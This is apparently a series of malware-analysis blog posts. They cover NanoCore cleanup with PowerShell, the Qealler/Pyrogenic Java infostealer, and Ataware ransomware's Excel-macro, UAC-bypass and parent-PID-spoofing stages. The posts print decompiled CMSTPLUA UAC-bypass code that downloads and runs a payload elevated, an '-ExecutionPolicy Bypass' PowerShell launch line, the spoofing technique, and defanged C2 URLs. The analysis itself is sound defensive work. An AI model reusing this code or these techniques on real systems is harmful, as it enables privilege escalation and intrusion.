Get-Process cmdlet doesn’t support the process command line so use Get-WmiObject command

Only applicable for Windows PowerShell 5.1
Get-WmiObject -Class Win32_Process -Filter "name='RAVBg64.exe'" | Select-Object ProcessId, ProcessName, CommandLine

But Get-Wmiobject is deprecated so use Get-CimInstance for PowerShell 7 as mentioned by reddit user.

Get-CimInstance -Class Win32_Process | Format-Table -Property ProcessId, ProcessName, CommandLine -Autosize

Get-Process & Get-WmiObject PowerShell cmdlets output

2. Terminate malicious process

Stop-Process can be used to terminate processes based on process name or process ID (PID), or pass a process object.
Get-Process RAVBg64 | Stop-Process

You may need to stop this process imapsv.exe instead of RAVBg64.exe, if the machine has already restarted as this filename is used in registry for persistence.

PowerShell Command for Stop-Process

3. Remove Persistence

Get-ItemProperty cmdlet can be used for listing registry entries as shown below:

Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'IMAP Service'

Remove-ItemProperty can be used for removing NanoCore persistence registry entry
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' | Remove-ItemProperty -Name 'IMAP Service' Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'

Query & remove NanoCore registry entry using PowerShell Command

4. Check for files in $env:APPDATA\GUID\

NanoCore creates a unique GUID dir in $env:APPDATA to keep it’s copy and logs. We can Get-ChildItem cmdlet to list the directory it’s like dir cmd. This cmdlet can be used in file system directory, registry hive, or a certificate store.

-Recurse – Used to recursive list all the sub-dir
-Filter – You can use the parameter to filter the path and it supports * and ? wildcards e.g *.dat, *.exe

Get-ChildItem -Path $Env:APPDATA -Force -Recurse -Filter run.dat

Instead of Get-ChildItem, we can Test-Path to check if the dir or file exists or not
Test-Path -Path $Env:APPDATA\*\run.dat

Test-Path & Get-ChildItem PowerShell cmdlets

After running the above cmds you will be able to know the unique GUID directory name 0319B08F-2B65-4192-B2D2-1E2F62087064 , this folder contain other artifacts as shown in below screenshot

Get-ChildItem -Path C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Force -Recurse

Get-ChildItem cmdlets using Force & Recurse parameters

5. Gather hashes

Get-FileHash cmdlet can be used to get the hash using a different algorithm e.g. MD5. SHA1 , SHA256 etc. By default, the Get-FileHash cmdlet uses the SHA256 algorithm, although any hash algorithm that is supported by the target operating system can be used.

SHA256
Get-FileHash -Path 'C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\IMAP Service\imapsv.exe'

MD5
Get-FileHash -Algorithm MD5 -Path 'C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\IMAP Service\imapsv.exe'

Get-FileHash PowerShell cmdlet

We can use Get-ChildItem & Get-FileHash cmdlets for collecting the file hashes in the directory with MD5, SHA256, Name & FullName.

We will use calculated properties that require a Hashtable with a Name/label and an Expression key. The name key is the property name and the Expression key is a scriptblock that will be executed as Select-Object receives input. Please read this great article ^[5] by @adbertram regarding calculated properties using Hashtable

@{ Name = ''; Expression = {}}

Using E/Expression we are calculating the MD5 & SHA256 of each file returned by Get-ChildItem

Get-ChildItem -Path C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Force -Recurse -File | Select-Object @{Name='MD5';E={(Get-FileHash -Algorithm MD5 $_).Hash}}, @{N='SHA256';E={(Get-FileHash -Algorithm SHA256 $_).Hash}}, Name, FullName

Gather MD5, SHA256, Name and FullName of NanoCore files

Now we will export the result in FileHashes.csv format using Export-Csv

PowerShell Command for exporting hashes to csv

5. Copy artifacts for analysis

Before removing the artifacts, we may want to copy them for further analysis if needed by other teams.

Let’s use the New-Item cmdlet to create the directory and use Copy-Item to copy the files to IoCs dir

New-Item -ItemType Directory -Path C:\Users\admin\IoCs

Copy-Item C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Destination C:\Users\admin\IoCs\ -Recurse

New-Item & Copy-Item PowerShell cmdlets for directory

6. Delete malware artifacts

We have already removed the persistence mechanism, now we just need to delete the files from the infected machine using Remove-Item cmdlet.

Delete the complete dir recursively
Remove-Item -Path $env:APPDATA\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Recurse -Force

Remove the copy of the NanoCore malware
Remove-Item -Path $env:TEMP\RAVBg64.exe -Force

Delete the initial file
Remove-Item -Path $env:USERPROFILE\Desktop\Serial.exe

Remove-Item cmdlet for file & directory

Conclusion

In this article, I have explained useful PowerShell Commands which can be used in Incident Response for NanoCore but these commands can be applied to any malware infection. There are a lot more PowerShell Commands which can be used in Incident Response.

For the next iteration, you can even write the PowerShell script and deploy to multiple machines over your network for cleanup.

If you are looking for an easy way to deobfuscate PowerShell then check this Deobfuscate PowerShell using PowerShell Logging.

References

PowerShell Overview – Microsoft
PowerShell remoting
Installing PowerShell Core
ANY.RUN – (MD5: 0ed2be7c91efdb87c98084bb0a22d8d7) NanoCore
Using PowerShell’s Calculated Properties

Similarity between Qealler/Pyrogenic variants -Part 0x3

Tue, 04 Feb 2020 02:24:59 GMT

In this last part, we will compare Old Qealler with the new Qealler/Pyrogenic variant. The previous posts Pyrogenic Infostealer static analysis – Part 0x1 & Unpacking Pyrogenic/Qealler using Java agent -Part 0x2 went through the latest Pyrogenic/Qealler ^[6] statically and dumping the unpacked code using Java agent.

Brief Timeline
Similarity between Qealler variants
Conclusion
References

Brief Timeline

June 2018

First Old Qealler sample ^[4] (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22) found on ANY.RUN

Aug-Sep 2018

The tweet^[1] by @James_inthe_box first mentioned the Old Qealler. @jeFF0Falltrades posted Qealler Unloaded deep dive analysis ^[2] .

Jan-Feb 2019

Multiple cyber security company posted articles^[3] about Qealler variant using the Qazagne Python credential harvester.

April 2019

Based on ANY.RUN submissions, Old Qealler variant using the Qazagne stopped around April 2019

Aug 2019 – Now

Based on ANY.RUN submissions, Qealler tagged samples started around Aug 2019 and continue till now Aug 2020.

Similarity between Qealler variants

For easy/fast comparison, I have imported unpacked code of both Qealler variant in Eclipse IDE. I will compare this Old Qealler (MD5: 8D564A18B902461C19936CCB1F4E2F12) ^[5] and new Pyrogenic/Qealler sample (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) ^[6] used in the previous posts. Highly recommended to read through the existing analysis of Old Qealler Unloaded^[2] by @jeFF0Falltrades & article ^[3] by Zscaler.

Both Qealler variants use the same Qrypter packer variant.

1. AES Key bbb6fec5ebef0d93

You will find multiple references to bbb6fec5ebef0d93 as shown below. This is the AES key used in both variant.

Same AES Key bbb6fec5ebef0d93

2. UUID Key 2a898bc98aaf6c96f2054bb1eadc9848eb77633039e9e9ffd833184ce553fe9b

Config is stored in a key value pair and key for UUID present in both variants. This key is also present in the Old Qealler Unloaded^[2] article and the same string “Loaded:” is used in both variants.

Same UUID key

3. Systeminfo in JSON format

It collects the system info in JSON format before encrypting and sending it to CC. Both Qealler variants use the same key e.g osName, osVersion, osArch, totalMemory and code structure as shown below. localIpAddress & globalIpAddress keys are added to the new Qealler version.

Systeminfo in JSON format Qealler Pyrogenic

4. ShutdownHook

It is used when we want to run some code when JVM is shutting down and both variants use the addShutdownHook() to delete the files.

ShutdownHook

5. QeallerV4 string

Found this string “obfuscated/META-INF/QeallerV4.kotlin_module” in memory in the new Qealler/Pyrogenic sample. Maybe this is version 4 ?

Conclusion

In this Java malware analysis series we started with static analysis, then moved to Unpacking code using Java agent and in this last part we compared the Qealler variant. These above similarities are the most significant which I can find based on code analysis. I can conclude that the Malware author moved the Credential stealing from Python to Java based code. Malware authors are experienced coder as they divided the source code in multiple sensible packages and gave proper name to functions, variables and classes.

References

Tweet by @James_inthe_box – (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22) First Old Qealler tweet Aug 2018
Qealler Unloaded by @jeFF0Falltrades – Sep 2018
Qealler – a new JAR-based information stealer – Feb 2019
ANY.RUN – (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22) Old Qealler June 2018
ANY.RUN – (MD5: 8D564A18B902461C19936CCB1F4E2F12) Old Qealler Sep 2018
ANY.RUN – (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) New Qealler/Pyrogenic Nov 2019

Unpacking Pyrogenic/Qealler using Java agent -Part 0x2

Fri, 17 Jan 2020 07:19:12 GMT

We will learn how and when we can use Java agent to quickly unpack the Pyrogenic Infostealer. In the earlier post Pyrogenic Infostealer static analysis – Part 0x1 we statically analysed the Pyrogenic/Qealler Infostealer but this requires more time and effort. We will be using the same sample PaymAdviceVend_LLCRep.jar from ANY.RUN (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) used in Part 0x1. Let’s start with a basic introduction to Java agent.

Introduction to Java agent
Unpacking using Java agent
Dumped class file analysis
When will it fail?
Conclusion
Targeted Application list
References

Introduction to Java agent

A Java agent is used to instrument programs running on the JVM and it can modify the Java bytecode at runtime without source code. In this post we will be using a Java agent to dump the classes during runtime without any bytecode modification but for more details please check this Java Agents Tutorial ^[1]. These are the minimum requirement for Java agent to work:

Java agent class file should have a premain method which acts as the entry-point.This method is executed before the real java application main method, premain method it’s like TLS callback.
MANIFEST.MF should be defined with the Premain-Class attribute, which will point to class name with premain method. Another important point is there must be a new line at the end of the MANIFEST file. Otherwise, the last header is ignored.
javaagent parameter should be specified to load java agent jar file with premain method e.g .java -javaagent:dumper.jar -jar malware.jar

Unpacking using Java agent

dumper.java & MANIFEST.mf are used to build Java agent dumper.jar. dumper.java code is copied from Reversing an obfuscated java malware pdf ^[2] and I will highly recommend to go through the pdf^[2] to understand the different methods which can be used to analyse Java malware.

dumper.java

import java.io.*;
import java.lang.instrument.*;
import java.security.*;

// This code is copied from "Reversing an obfuscated java malware by Extreme Coders"
public class dumper {
    //A java agent must have a premain method which acts as the entry-point
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agent loaded");
        // Register out trasnformer
        inst.addTransformer(new transformer());
    }
}

class transformer implements ClassFileTransformer {
    // The transform method is called for each non-system class as they are being loaded
    public byte[] transform(ClassLoader loader, String className,
        Class < ? > classBeingRedefined, ProtectionDomain protectionDomain,
        byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className != null) {
            // Skip all system classes
            if (!className.startsWith("java") &&
                !className.startsWith("sun") && !className.startsWith("javax") && !className.startsWith("com") && !className.startsWith("jdk") && !className.startsWith("org")) {
                System.out.println("Dumping: " + className);
                // Replace all separator characters with _
                String newName = className.replaceAll("/", "_") + ".class";
                try {
                    FileOutputStream fos = new FileOutputStream(newName);
                    fos.write(classfileBuffer);
                    fos.close();
                } catch (Exception ex) {
                    System.out.println("Exception while writing: " + newName);
                }
            }
        }
        // We are not modifying the bytecode in anyway, so return it as-is
        return classfileBuffer;
    }
}

MANIFEST.mf

Manifest-Version: 1.0 Premain-Class: dumper

Uploaded the jar file in GitHub repo ^[3]which is generated using following command: javac dumper.java jar cmf MANIFEST.MF dumper.jar dumper.class transformer.class
Execute this command java -javaagent:dumper.jar -jar BankPaymAdviceVend_LLCRep.jar to run the malware with java agent and it will dump all the accessed classes at runtime to the current working directory.
Pyrogenic java agent cmdline
Pyrogenic malware classes with comment
Please decompile all the dumped class files which start with q0b4 and j/t/e package name files using ByteCodeViewer FernFlower Java decompiler. One of the easiest way is to zip all classes and then use BCV. Then, import decompiled java source files from BCV into any Java IDE, this will help you in code navigation.
Start from the bottom and go up in the above pic then you will find the first proper package name q0b4/bootstrap/templates/Header which can be our starting point for unpacked code. We are Reverse engineers, we always start in reverse order :).
Below pic shows all the unpacked classes dumped using Java agent dumper.jar. It starts from Header.java which uses a decrypt function to AES decrypt the classes at runtime and invoke the main method. It invokes j.t.e.Main package main method.
Dumped Classes List with Header.java

Dumped class file analysis

Malware authors divided the source code in multiple sensible packages. They have made our job easier by giving proper names to functions, variables and classes. We will go through some of the classes Main, Server, MainEx and one util IPAddress class, as it will take too much time to go through each one of them.

Main & Server class

- Main class invokes the loadLibrary method which sends the cmd to CC using sendCmd method.
  
  Pyrogenic Main class with loadLibrary
- Server class contains function loadLibrary which is used above and pushCredentials which is used to send the stolen credential to CC.
  
  Pyrogenic Server class with functions
- Server class contain the following list of available library and cmds:
  public static final int PYTHON = 162144; public static final int SQLITE = 4353152; public static final int JNA = 224288; public static final int JNA_PLATFORM = 3048576; public static final int JNA_4 = 307200; public static final int JNA_PLATFORM_4 = 308224; public static final int BCPROV = 310272; public static final int INI4J = 311296; public static final int XML = 312320; public static final int JSON = 313344; public static final int W3DOM = 314368; public static final int Q4_PASS_LIB = 315392; public static final int JPOWERSHELL = 316416; private static final int LIBRARY_CMD = 16384; private static final int CREDENTIAL_CMD = 32768; private static final byte[] SEED = "uisdfysdgfbsdyufbsiybfsdyb733grfsudbfjh".getBytes(); private static final int MAX_TRY_COUNT = 20;
  Pyrogenic Server class with cmd

Malware author didn’t pack all the required Java libraries in the jar but it is requested when needed at runtime. This significantly decreased the malware size to 153.27 Kb. Let’s discuss some of the library and commands used:

1. 1. Server JNA, JNA_4, JNA_PLATFORM, JNA_PLATFORM_4 – JNA (Java Native Access ) provides simplified access to native library methods without requiring any additional JNI or native code. For example you can call printf, GetSystemTime Windows API function directly from Java Code.
  2. INI4j – Java API for handling configuration files in Windows .ini format
  3. JPOWERSHELL – Simple Java API that allows programs to interact with PowerShell console. It may be used when malware invokes any PowerShell commands.
  4. Q4_PASS_LIB – May be Qealler v4 Password Library loaded first using list.add(server.loadLibrary(315392));
  5. LIBRARY_CMD – May be used to load the clean dll used sqlitejdbc.dll and jnidispatch.dll
  6. CREDENTIAL_CMD – This cmd is used to pushCredentials to CC

MainEx class

- j.t.e.Main main method invokes the j.t.e.MainEx main method as shown above in Main class. It sent credential and system info in JSON format to CC. All the communication are AES encrypted using EncryptedCipherOutputStream and EncryptedCipherInputStream which extends CipherOutputStream & CipherInputStream respectively.
  Pyrogenic MainEx main method
- MainEx class contains two important methods: run() and getSysinfo() as shown below.
  
  Pyrogenic MainEx credential stealer method
- Malware steal credential from list of software mentioned in the run() method
```
this.addAll(ChromiumBased.chromiumBasedBrowsers);
this.addAll(MozillaBased.mozillaBasedBrowsers);
this.add(new IExplorer());
this.add(new UCBrowser());
this.add(new Composer());
this.add(new Credman());
this.add(new Outlook());
this.add(new Pidgin());
this.add(new PostgreSQL());
this.add(new Squirrel());
this.add(new Tortoise());
```
- getSysinfo() collect osName, osVersion, osArch, javaHome, userName, userHome, availableProcessor, freeMemory, totalMemory, localIpAddress & globalIpAddress in JSON format which is encrypted and sent to CC with other info.

IPAddress class

- IPAddress class is one of the classes present in package j.t.e.core.utils which gets the IP address of the infected system and sends it to CC with other system info. It uses http://bot.whatismyipaddress.com for collecting the public IP of infected systems.
  Pyrogenic IPAddress util class

When will it fail?

Unpacking using Java agent will be unable to dump all the classes at runtime due to following conditions:

When malware is unable to interact with CC then it will not be able to exhibit complete behaviour.
Malware is using some anti analysis technique e.g checking for vmware etc.
Malware is unable to run due to some supporting files, command line etc.

Conclusion

Unpacking using a Java agent is quite simple and can speed up your analysis, you can use the dumper.jar uploaded in Github ^[3]. This method can be used in any Java based malware. We have also gone through some of the dumped Pyrogenic/Qealler source code to understand the stealer functionality. In the last part 0x3 we find similarity between Qealler/Pyrogenic variants based on static code analysis.

Targeted Application list

This is the list of application collected from the dumped unpacked classes:

ChromiumBased Browser
- 7Star
- amigo
- brave
- centbrowser
- chedot
- chrome canary
- chromium
- coccoc
- comodo dragon
- elements browser
- epic privacy browser
- google chrome
- kometa
- opera
- orbitum
- sputnik
- torch
- uran
- vivaldi
- yandexBrowser
MozillaBased Browser
- firefox
- blackHawk
- cyberfox
- comodo IceDragon
- k-Meleon
- icecat
IExplorer
UCBrowser
Composer
Windows Credential
Outlook
Pidgin
PostgreSQL
Squirrel
Tortoise

References

Qealler Infostealer static analysis – Part 0x1

Mon, 06 Jan 2020 07:26:54 GMT

Qealler is heavily obfuscated Java based Infostealer which is quite active based on ANY.RUN submission. This will be a three part blog series, this post will focus on Qealler/Pyrogenic static analysis, next part 0x2 we learn unpacking using Java agent and in the last part 0x3 we find similarity between Qealler/Pyrogenic variants based on static code analysis . You may download the BankPaymAdviceVend_LLCRep.jar from ANY.RUN (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) and follow along or download the latest Qealler sample from ANY.RUN submission.

Overview
Quick dynamic analysis
Packed Pyrogenic static analysis
Conclusion
References

Overview

It’s currently targeting different regions e.g. Australian companies^[1], Africa and the Middle East^[2] based on the references. I will be using Bytecode Viewer to decompile Jar using FernFlower Java Decompiler. Let’s start with quick dynamic analysis. Our main goal for the blog series is to unpack this jar so we can analyse the capability and compare it with Qealler.

Quick Dynamic Analysis

Connect to CC 157.245.160[.]150 at port 80 and create the below process.
cmd.exe /c chcp 1252 > NUL & powershell.exe -ExecutionPolicy Bypass -NoExit -NoProfile -Command -
Drop these two clean files sqlitejdbc.dll (MD5: a4e510d903f05892d77741c5f4d95b5d) and jnidispatch.dll (MD5: d2f0da769204b8c45c207d8f3d8fc37e) but it deletes these two file before exiting.
Connect to bot.whatismyipaddress.com to get the public IP of the infected system.
Steal credential from different applications

Packed Pyrogenic static analysis

Open the jar file in BCV (Bytecode Viewer), you will see multiple class files in different packages. Below pic shows the main entry point of the jar file.

Packed Pyrogenic BCV
For this sample, I found out that FernFlower decompiled the source code correctly. Select View -> Pane 1 -> FernFlower -> Java in BCV as shown below.

Bytecode Viewer FernFlower selection
If you browse the different class files in BCV, you will find many encrypted class files which don’t translate to Java src code. e.g. one of them is shown below

Pyrogenic encrypted class
Based on the above encrypted class file, you can guess that there should be some decryption algorithm used to decrypt those files.
Decryption algorithms can be custom or well known e.g. AES. Study this example java code ^[3] which encrypt/decrypt using AES.
AES Java Encrypt Decrypt Example
Some of the keyword mentioned in the above java code e.g. getInstance can help us to find the encryption algorithm and doFinal can point to final decryption result.
Let’s search for AES references after importing the decompiled src code to Eclipse IDE.

Pyrogenic AES references

Pyrogenic doFinal reference

Pyrogenic PBKDF2WithHmacSHA1 reference
Based on the above images which shows multiple references, we can confirm that this sample uses the algo “AES/ECB/PKCS5Padding” and key may be generated using “PBKDF2WithHmacSHA1” . So it confirmed that it doesn’t use any custom decryption algorithm.
We can add our code to write the data to file after doFinal call and execute the sample in IDE to get the dumped class file Then we can decompile the class file using BCV and continue analysis. But it can be multiple layer obfuscation which can make our analysis harder and slower.

Conclusion

This above static analysis method to find the encryption routine and interesting breakpoint (doFinal) while debugging is very useful in Java Malware analysis. Using this approach you will not miss any code path but this requires more time and effort. So in the upcoming part 0x2 , we will unpack this malware using Java agent which will speed up our analysis.

References

Parent PID Spoofing (Stage 2) Ataware Ransomware – Part 0x3

Tue, 14 May 2019 06:41:40 GMT

Ataware Ransomware Stage 2 uses Parent PID Spoofing technique to change its parent PID to lsass.exe and this article is also referred to in Mitre Attack website ^[4]. You may download the ATAPIConfiguration.exe file from ANY.RUN (MD5: 04a2e6400b22a3a5e5e277eceaf2ce0c)

Please check previous posts, if you are interested in the complete infection chain Excel 4.0 Macro Analysis – Ataware Ransomware Part 1 & UAC bypass analysis (Stage 1) Ataware Ransomware Part 2.

Ataware Ransomware Overview

Overview of ATAPIConfiguration.exe (Stage 2)

Stage 2 downloads the final Ataware Ransomware (ATAPIUpdtr.exe) from CC which can encrypt files. Then, it uses Parent PID Spoofing to change the parent PID to lsass.exe before executing it.

Static Analysis
Parent PID Spoofing
Analysis steps in Ghidra
Conclusion
References

Static Analysis

32bit PE, compiled using GCC MINGW
Nothing interesting in overlay, no resources
Compiler timestamp invalid is 1997
File contain TLS callback but nothing interesting

ExeInfo & Strings tool

Strings

Based on the strings berylia[.]net and /index/, we can guess that malware may be downloading something.
wininet.dll InternetConnectW berylia.net HttpOpenRequestW /index/ GET InternetQueryOptionW InternetSetOptionW HttpSendRequestA TEMP kernel32.dll CreateFileW InternetReadFile WriteFile InternetCloseHandle Advapi32.dll LookupPrivilegeValueW AdjustTokenPrivileges OpenThreadToken ImpersonateSelf SeDebugPrivilege CreateToolhelp32Snapshot Process32FirstW Process32NextW lsass.exe OpenProcess InitializeProcThreadAttributeList UpdateProcThreadAttribute CreateProcessA

Parent PID Spoofing

Stage 2 mainly uses InitializeProcThreadAttributeList, UpdateProcThreadAttribute & CreateProcessA with STARTUPINFOEXA structure API for spoofing. Didier Stevens already blogged about this in 2009 ^[1], “Normally the parent process of a new process is the process that created the new process (via CreateProcess). But when using STARTUPINFOEX with the right LPPROC_THREAD_ATTRIBUTE_LIST to create a process, you can arbitrarily specify the parent process, provided you have the debug rights.” Before spoofing, this Stage 2 enables SeDebugPrivilege of current thread.

UpdateProcThreadAttribute function^[2] is called with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (0x00020000) attribute with the handle of lsass.exe. At last, CreateProcessA is called with STARTUPINFOEXA Structure which contain new StartupInfoEx.lpAttributeList and creation flag 0x80010 (EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE) for creating new process with different Parent PID.

Parent PID Spoofing final code

Analysis steps in Ghidra

1. Navigate to entry function, then to WinMain address @ 0x4013dd as shown below

Before any comment Main function

2. We will concentrate on download_spoof_parent_process_exe (0x40208b) in main function as shown below

Main function in Ghidra

3. Before any rename/comment @ 0x401cb7

Before Parent PID Spoofing function

4. This function contains two main functions FUN_00401b91() & FUN_00401579().
5. Let’s focus on FUN_00401b91 (adjust_priv_current_thread_sedebug), this function enables SeDebugPrivilege of current thread.

Adjust privilege of current thread

Enable SeDebugPrivilege using AdjustTokenPrivileges

6. FUN_00401579()/download_save_ATAPIUpdtr_exe function download the file from CC hxxps://berylia[.]net/index/ and save it to $temp directory as ATAPIUpdtr.exe.

Download and save ATAPIUpdtr.exe - Using https, send GET request to CC

7. Parent PID Spoofing is shown below in the final code download_spoof_parent_process_exe.

Parent PID Spoofing final code

Dynamic Analysis using Sysmon

File Create event Sysmon

Sysmon File Create for ATAPIUpdtr.exe

Here you can see Process Create with spoofing in action with Parent Image lsass.exe.

Parent PID Spoofing Sysmon

Conclusion

Analysed Parent PID Spoofing and saw this in action using Sysmon
Malware uses this technique to evade detection which is based on parent-child process
We understood how malware author can enable SeDebugPrivilege

References

UAC bypass analysis (Stage 1) Ataware Ransomware – Part 0x2

Tue, 07 May 2019 13:06:59 GMT

Ataware Ransomware uses UAC bypass using CMSTPLUA COM interface in ATAPIinit.exe (Stage 1). It was downloaded from Dropbox url when the user opened the malicious Excel and enabled the Macro. For details, please check the previous Excel 4.0 Macro Analysis – Ataware Ransomware Part 1. You may download the ATAPIinit.exe file from ANY.RUN (Md5: 097cc44444c6733bc6b32cb1c4c87ddd).

Ataware Ransomware Overview

Overview of ATAPIinit.exe (Stage1)

The main purpose is to UAC bypass using CMSTPLUA COM interface and download another binary ATAPIConfiguration.exe (Stage 2) from dropbox url. Then, it executes the downloaded file.

Static Analysis

32bit PE, Compiled using GCC MINGW
Nothing interesting in overlay, no resources
Compiler timestamp invalid is 1970
File contain TLS callback but nothing interesting

Exeinfo & Strings tool

Strings

Found some interesting strings, if you google “{3E5FC7F9-9A51-4367-9063-A120244FBEC7}” you will find multiple links related to UAC bypass. So, you can guess that malware may be bypassing UAC and downloading something from dropbox. We will check this in detail later using Ghidra.
CLSIDFromString IIDFromString {3E5FC7F9-9A51-4367-9063-A120244FBEC7} {6EDD6D74-C007-4E75-B76A-E5740995E24C} Elevation:Administrator!new: CoGetObject wininet.dll InternetOpenW WINDOWS wininet.dll InternetConnectW dl.dropboxusercontent.com HttpOpenRequestW /s/uzu60whrg1spnyy/ATAPIConfiguration GET InternetQueryOptionW InternetSetOptionW HttpSendRequestA TEMP

Ghidra Setup

Import Windows API Ghidra Data Type Archives (winapi_32.gdt) in Data Type manager from github. For more details, check this Youtube Video. Retype Variable will be used frequently to fix decompiled code, so please check this short video.

Analysis steps in Ghidra

After initial Static analysis, we can open this in IDA or Ghidra, whichever you prefer. I will be using Ghidra for this series.
1. Navigate to entry function, then to WinMain address @0x004013dd as shown below

Navigate to WinMain - Navigate to WinMain 0x004013dd

2. We will concentrate on uac_bypass_download_execute (0x40151c) as shown below

WinMain Decompiled Code

3. Start analysing below function @ 0x004017e4

Before any comment/Retype - uac_bypass_download_execute function

4. After we rename/retype variable/comment this function looks as shown below.

UAC bypass - uac_bypass_download_execute function

Let’s see what’s going on here, bypassing the UAC using CMSTPLUA COM interface and using The COM Elevation Moniker ^[4]. Using CoGetObject and CMLuaUtil->lpVtbl->ShellExec to execute the downloaded file. Malware author may have copied this GitHub gist ^[1] and used this to bypass UAC. I will recommend to look up all the API in MSDN which are used in GitHub gist ^[1]. This will help in understanding the code better.

CLSIDFromString_addr = (CLSIDFromString *)GetProcAddress(hModule,"CLSIDFromString");

hModule = GetModuleHandleW(L"Ole32.dll");

IIDFromString_addr = (IIDFromString *)GetProcAddress(hModule,"IIDFromString");

/* CLSID of CMSTPLUA Çom object */

HVar1 = (*CLSIDFromString_addr)(L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",(LPCLSID)&local_4c);

if ((HVar1 == 0) &&

(HVar1 = (*IIDFromString_addr)(L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}",(LPIID)&local_3c),

HVar1 == 0

/* Interface ID of ICMLuaUtil */)) {

RtlSecureZeroMemory(elevate_string,0x208);

wcscpy(elevate_string,L"Elevation:Administrator!new:");

wcscat(elevate_string,L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}");

RtlSecureZeroMemory(&local_74,0x24);

local_74.cbStruct = 0x24;

local_60 = 4;

hModule = GetModuleHandleW(L"Ole32.dll");

CoGetObject_addr = (CoGetObject *)GetProcAddress(hModule,"CoGetObject");

(*CoGetObject_addr)(elevate_string,&local_74,&local_3c,&local_50);

/* file_path points to %temp%ATAPIConfiguration.exe */

download_save_ATAPIConfiguration_exe();

/* execute downloaded file using COM interface which bypass UAC */

(**(code **)(*local_50 + 0x24))(local_50,file_path,0,0,0,5);

5. Analysing below function @ 0x00401a0f

Before any comment/Retype - download_save_ATAPIConfiguration_exe function

6. After we rename/retype variable/comment, this is how functions look as shown below.

UAC bypass & Download code in Ghidra

This function download_save_ATAPIConfiguration_exe download the file from hxxps://dl[.]dropboxusercontent[.]com/s/uzu60whrg1spnyy/ATAPIConfiguration and save it to $temp directory as ATAPIConfiguration.exe. If you see the following API in the function then you can guess it download and save file.

InternetOpenW

InternetConnectW

HttpOpenRequestW

HttpSendRequestA

InternetReadFile

CreateFileW

WriteFile

We have statically analysed uac_bypass_download_execute (@ 0x004017e4) and download_save_ATAPIConfiguration_exe (@ 0x00401a0f) in Ghidra.

Dynamic Analysis

Before executing, setup Sysmon logging and enable UAC in VM. After executing you can see the below ProcessCreate event with Integrity level medium as it is executed with UAC.

Process create event using Sysmon - Integrity Level - Medium (UAC enabled)

Then you can see another ProcessCreate of DllHost.exe CommandLine: C:WINDOWSSysWOW64DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} with CMSTPLUA CLSID.

UAC Bypass event using Sysmon - Integrity Level - High (UAC Bypass)

Detection

This CommandLine: C:WINDOWSSysWOW64DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} with the CLSID can be used to detect UAC bypass in our environment ^{[2] [3]}.

Conclusion

Analysed one of the technique which malware author uses for UAC bypass
We can guess with high probability that malware author stole this code from gist ^[1]
Other malware like Trickbot uses the same technique ^[5]

Upcoming part 0x3 we will analyse the ATAPIConfiguration.exe (Stage 2) which uses Parent PID Spoofing.

References

Excel 4.0 Macro, hta, VBScript & PowerShell Analysis Ataware Ransomware – Part 0x1

Tue, 30 Apr 2019 08:40:47 GMT

This will be a multiple part blog series analysing the complete infection chain from Excel to Ataware Ransomware. In this post we will discuss analysis steps for hta, VBScript & PowerShell code to extract the final payload url. Let’s start with xls, I was browsing Twitter for an interesting sample, then I found this tweet from @nao_sec and started investigating. You can download the xls from ANY.RUN.

nao_sec Tweet

Overview of analysis steps

Ataware Infection Vector - Overview of analysis steps

xls analysis steps

Check the file type and extract the string
strings "563902-IT Services Procurement Catalog updated.xls" > str_excel.txt

file and strings on xls
Go through the strings output and you will find the mshta cmd with Dropbox url
mshta string - Output from string cmd
Now you know, this excel is definitely malicious by using only string tool
Let’s analyse it further to understand how this mshta is invoked
Run olevba on xls, as you can see in the output below it uses Excel 4.0 macro hidden sheet to execute mshta cmd.

Olevba tool - Detecting Excel 4.0 Macro

For more details on Excel 4.0 Macro, check the references section^[1]. Now we will move on the hta file analysis.

htseelaaa.hta analysis

Content of hta file

Why are attacker using hta?

HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser ^[2]. hta file can be executed using inbuilt trusted Windows utility mshta which can bypass Application Whitelisting.

Deobfuscate Steps

Extract the vbs code from hta file and save as vbs
Replace the eval with Wscript.Echo and execute using cscript
Execute cscript - Replace Eval with Wscript.Echo and run using cscript
Now you can see the base64 encoded PowerShell code, instead of manual deobfuscation let’s run the PowerShell code inside our VM with FakeNet-NG

Execute PowerShell - Execute PowerShell code extracted from VBScript
Enable PowerShell Enhanced Logging before running above PowerShell code, for more details check this Deobfuscate PowerShell using PowerShell Logging
After executing, go through PowerShell logs in EventViewer to find out the debofuscate code as shown below

Decoded PowerShell - Decoded PowerShell in PowerShell Logs
Copy the PowerShell code after removing iex and execute it to see the final decoded code shown below
Final Decoded PS
This PowerShell download the PE file from the dropbox link and executes it in the $temp directory with filename ATAPIinit.exe.

Conclusion

Infection vector is unique as it is using Excel 4.0 Macro technique with mshta and PowerShell.
Heavily obfuscated to slow down analysis
Using dropbox as initial payload delivery, as dropbox may be allowed in proxy

Upcoming part 0x2 we will analyse the UAC bypass using CMSTPLUA COM interface technique used by PE file downloaded from PowerShell.

References

